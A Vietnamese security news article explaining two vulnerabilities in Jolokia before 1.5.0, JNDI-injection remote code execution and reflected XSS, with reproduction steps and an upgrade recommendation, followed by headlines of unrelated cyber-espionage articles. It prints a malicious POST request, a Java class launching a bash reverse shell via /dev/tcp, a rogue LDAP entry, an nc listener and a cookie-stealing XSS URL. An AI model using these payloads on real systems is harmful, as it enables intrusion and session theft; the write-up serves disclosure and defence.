Jolokia là một sản phẩm mã nguồn mở được sử dụng để cung cấp giao diện API HTTP cho JMX (Java Management Extensions) - công nghệ được sử dụng để quản lý và giám sát các thiết bị, ứng dụng và các mạng hướng dịch vụ. Jolokia chứa một API có thể được sử dụng để gọi đối tượng MBeans (một đối tượng Java được quản lý, tương tự thành phần JavaBeans) được đăng ký trên máy chủ và đọc/ghi các thuộc tính. Hai lỗ hổng được phát hiện là: Remote Code Execution qua JNDI Injection (CVE-2018-1000130) và Cross-Site Scripting (CVE-2018-1000129). Các phiên bản được phát hành trước Jolokia 1.5.0 đều tồn tại 2 lỗ hổng bảo mật này.
Lỗ hổng Remote Code Execution qua JNDI Injection – CVE-2018-1000130
Trước phiên bản 1.5.0, dịch vụ Jolokia tồn tại chế độ proxy dễ dàng bị ảnh hưởng từ JNDI injection (tham khảo bài trình bày về tấn công JNDI trong BlackHat USA 2016). Khi agent Jolokia được triển khai trên chế độ proxy, với việc truy cập tới Jolokia web endpoint, kẻ tấn công từ bên ngoài có thể thực thi mã tùy ý từ xa thông qua tấn công JNDI injection. Cuộc tấn công này có thể thực hiện được vì thư viện Jolokia khởi tạo những kết nối LDAP/RMI sử dụng đầu vào của người dùng cung cấp.
Nếu hệ thống của bên thứ ba sử dụng dịch vụ Jolokia trong chế độ proxy, hệ thống này sẽ được tương tác với việc thực hiện mã từ xa thông qua Jolokia endpoint. Jolokia - tương tự như một thành phần, không cung cấp bất kỳ cơ chế xác thực cho endpoint để bảo vệ máy chủ chống lại kẻ tấn công.
Các bước mô phỏng
Request POST có thể được sử dụng để khai thác lỗ hổng này là:
POST /jolokia/ HTTP/1.1 Host: localhost:10007 Content-Type: application/x-www-form-urlencoded Content-Length: 206 { "type" : "read", "mbean" : "java.lang:type=Memory", "target" : { "url" : "service:jmx:rmi:///jndi/ldap://localhost:9092/jmxrmi" } } |
Tạo các máy chủ LDAP và HTTP để phát tán các payload độc hại. Những đoạn mã này sẽ được lấy từ Github: marshalsec và zerothoughts. Sau đó tạo một ExportObject.java.
public class ExportObject { public ExportObject() { try { System.setSecurityManager(null); java.lang.Runtime.getRuntime().exec("sh -c $@|sh . echo `bash -i >& /dev/tcp/127.0.0.1/7777 0>&1`"); } catch(Exception e) { e.printStackTrace(); } } } |
Máy chủ LDAP thực hiện lệnh: http://127.0.0.1:7873/#ExportObject 9092”. Trong đó http://127.0.0.1:7873/ là URL máy chủ HTTP của kẻ tấn công, ExportObject là tên của class Java chứa mã của kẻ tấn công và 9092 là cổng lắng nghe trên máy chủ LDAP.
Thực hiện lệnh “$ nc -lv 7777” để lắng nghe trên cổng 7777. Sau khi request POST được gửi đi, máy chủ có lỗ hổng sẽ tạo một request tới máy chủ LDAP của kẻ tấn công.
Khi máy chủ LDAP nhận được một request từ máy chủ có lỗ hổng trên cổng 9092, nó sẽ tạo một Entry object với các thuộc tính và gửi lại LDAP response.
e.addAttribute("javaClassName", "ExportObject"); e.addAttribute("javaCodeBase", "http://127.0.0.1/"); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", "ExportObject"); |
Khi đó máy chủ sẽ nạp ExportObject.class từ máy chủ HTTP của kẻ tấn công, khởi tạo đối tượng và thực hiện lệnh đảo ngược. Kẻ tấn công nhận kết nối trở lại từ máy chủ có lỗ hổng bằng lệnh nc.
Lỗ hổng Cross-Site Scripting – CVE-2018-1000129
Ứng dụng web Jolokia dễ bị ảnh hưởng bởi một cuộc tấn công XSS cổ điển. Mặc định, Jolokia gửi các phản hồi với Content-Type application/json, nên hầu hết các trường hợp chèn thêm vào dữ liệu đầu vào của người dùng cung cấp là không khó khăn. Nhưng nó đã được phát hiện từ việc đọc mã nguồn, có thể chỉnh sửa trường Content-Type của phản hồi bằng việc thêm tham số mimeType vào request GET.
http://localhost:8161/api/jolokia/read?mimeType=text/html
Sau đó, URL sẽ bị thay đổi bằng cách chèn thêm vào một số lệnh hoặc mã khai thác.
http://localhost:8161/api/jolokia/read<svg%20onload=alert(document.cookie)>?mimeType=text/html
Với Content-Type text/html, có thể tấn công XSS reflected cổ điển. Việc khai thác lỗ hổng này cho phép kẻ tấn công cung cấp đoạn mã javascript trong các tham số truyền vào trong ứng dụng, đoạn mã này sẽ được thực thi trên trình duyệt web của người dùng cuối. Ngoài ra, kẻ tấn công có thể đánh cắp cookie, truy cập trái phép với phiên xác thực của người dùng, thay đổi nội dung trang web bị tấn công hoặc làm ảnh hưởng tới trình duyệt của người dùng.
Người dùng Jolokia cần khẩn trương cập nhập dịch vụ lên phiên bản 1.5.0.
Mr. 0
08:00 | 25/06/2018
13:00 | 23/01/2024
Các nhà cung cấp dịch vụ viễn thông, truyền thông, Internet (ISP), nhà cung cấp dịch vụ công nghệ thông tin và các trang web của người Kurd ở Hà Lan đã trở thành mục tiêu của một chiến dịch gián điệp mạng mới do nhóm tin tặc có tên gọi là Sea Turtle thực hiện. Nhóm này hoạt động với động cơ chính trị nhằm thu thập thông tin tình báo phù hợp với những lợi ích của Thổ Nhĩ Kỳ. Bài viết này sẽ cùng phân tích về các hoạt động của nhóm tin tặc này và các kỹ thuật trong chiến dịch mới nhất, dựa trên báo cáo điều tra của công ty an ninh mạng Hunt&Hackett (Hà Lan).
13:00 | 17/01/2024
Các nhà cung cấp dịch vụ viễn thông, truyền thông, Internet, các nhà cung cấp dịch vụ công nghệ thông tin (CNTT) và các trang web của người Kurd ở Hà Lan đã trở thành mục tiêu của một chiến dịch gián điệp mạng mới được thực hiện bởi một nhóm tin tặc Türkiye-nexus có tên là (Rùa biển).
14:00 | 29/11/2023
Ngày 28/11, DP World Australia - một trong những nhà điều hành cảng biển lớn nhất của Australia cho biết, tin tặc đã xâm nhập nhiều tập tin chứa thông tin cá nhân chi tiết của các nhân viên.
14:00 | 23/11/2023
Mới đây, các nhà nghiên cứu của hãng bảo mật Check Point đã phát hiện chiến dịch gián điệp mạng được thực hiện bởi nhóm tin tặc Gamaredon có liên hệ với Cơ quan An ninh Liên bang Nga (FSB), bằng cách sử dụng một loại Worm lây lan qua thiết bị USB có tên là LitterDrifter trong các cuộc tấn công nhắm vào các thực thể tại Ukraine. Bài viết này tập trung vào phân tích LitterDrifter cũng như cơ sở hạ tầng của máy chủ điều khiển và kiểm soát (C2) của phần mềm độc hại này.
DinodasRAT hay còn được gọi là XDealer là một backdoor đa nền tảng được phát triển bằng ngôn ngữ C++ cung cấp nhiều tính năng độc hại. DinodasRAT cho phép kẻ tấn công theo dõi và thu thập dữ liệu nhạy cảm từ máy tính của mục tiêu. Một phiên bản cho hệ điều hành Windows của phần mềm độc hại này đã được sử dụng trong các cuộc tấn công nhắm mục tiêu vào các thực thể của Chính phủ Guyana và được các nhà nghiên cứu tới từ công ty bảo mật ESET (Slovakia) báo cáo với tên gọi là chiến dịch Jacana. Bài viết sẽ phân tích cơ chế hoạt động của phần mềm độc hại DinodasRAT dựa trên báo cáo của hãng bảo mật Kaspersky.
19:00 | 30/04/2024